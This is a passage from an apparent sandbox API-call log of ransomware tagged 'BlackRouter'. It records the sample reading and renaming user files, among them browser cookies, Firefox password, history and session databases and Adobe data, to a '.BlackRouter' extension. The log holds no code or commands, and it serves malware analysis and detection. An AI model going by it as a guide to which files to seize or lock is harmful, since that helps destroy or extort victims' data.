ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd52937d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0078.268] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.blackrouter")) returned 1 [0079.105] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x4 [0079.108] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd5a9c210, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0079.108] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail.blackrouter")) returned 1 [0079.205] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x9cfab [0079.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd5bf2e70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9cfb0)) returned 1 [0079.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.blackrouter")) returned 1 [0079.420] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xfde [0079.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84c85c10, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x853f60d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xd5de2050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xfe0)) returned 1 [0079.454] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js.blackrouter")) returned 1 [0079.471] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xbc5 [0079.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb82fff30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x84e029d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xd5e2e310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1 [0079.487] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js.blackrouter")) returned 1 [0079.489] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x38000 [0079.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5e8ce50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb5e8ce50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd5e7a5d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x38010)) returned 1 [0079.505] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite.blackrouter")) returned 1 [0079.509] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x80000 [0079.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5ad4bf0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb5ad4bf0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd5fd1230, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x80010)) returned 1 [0079.654] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite.blackrouter")) returned 1 [0079.655] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x18000 [0079.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc374ed0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc374ed0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd601d4f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18010)) returned 1 [0079.684] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite.blackrouter")) returned 1 [0079.685] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x70000 [0079.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb45b48b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd60b5a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70010)) returned 1 [0079.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite.blackrouter")) returned 1 [0079.751] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x10000 [0079.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb43eb830, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb43eb830, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd6101d30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0079.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite.blackrouter")) returned 1 [0079.782] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xa00000 [0080.641] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4c1a3d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4c1a3d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd69308d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa00010)) returned 1 [0080.641] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite.blackrouter")) returned 1 [0080.643] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x50000 [0080.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd69c8e50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x50010)) returned 1 [0080.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite.blackrouter")) returned 1 [0080.694] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x18000 [0080.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd69eefb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18010)) returned 1 [0080.720] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite.blackrouter")) returned 1 [0080.724] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x3d6 [0080.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb82fff30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc3787480, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd6a3b270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3e0)) returned 1 [0080.738] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak.blackrouter")) returned 1 [0080.741] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x39 [0080.744] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd6a3b270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0080.744] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log.blackrouter")) returned 1 [0081.288] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xa0000 [0081.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd7054ad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa0010)) returned 1 [0081.390] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.blackrouter")) returned 1 [0081.752] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x2bea00 [0082.039] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x74e6 [0085.595] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x1df [0085.598] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd987fe10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0085.598] MoveFileW (lpExistingFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.BlackRouter" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata.blackrouter")) returned 1 [0086.435] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x1fad1 [0086.457] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xadc8 [0086.469] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x70c1 [0086.481] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x99d3 [0086.495] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x1fad1 [0086.511] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x70c1 [0086.589] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xd0a3 [0086.594] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 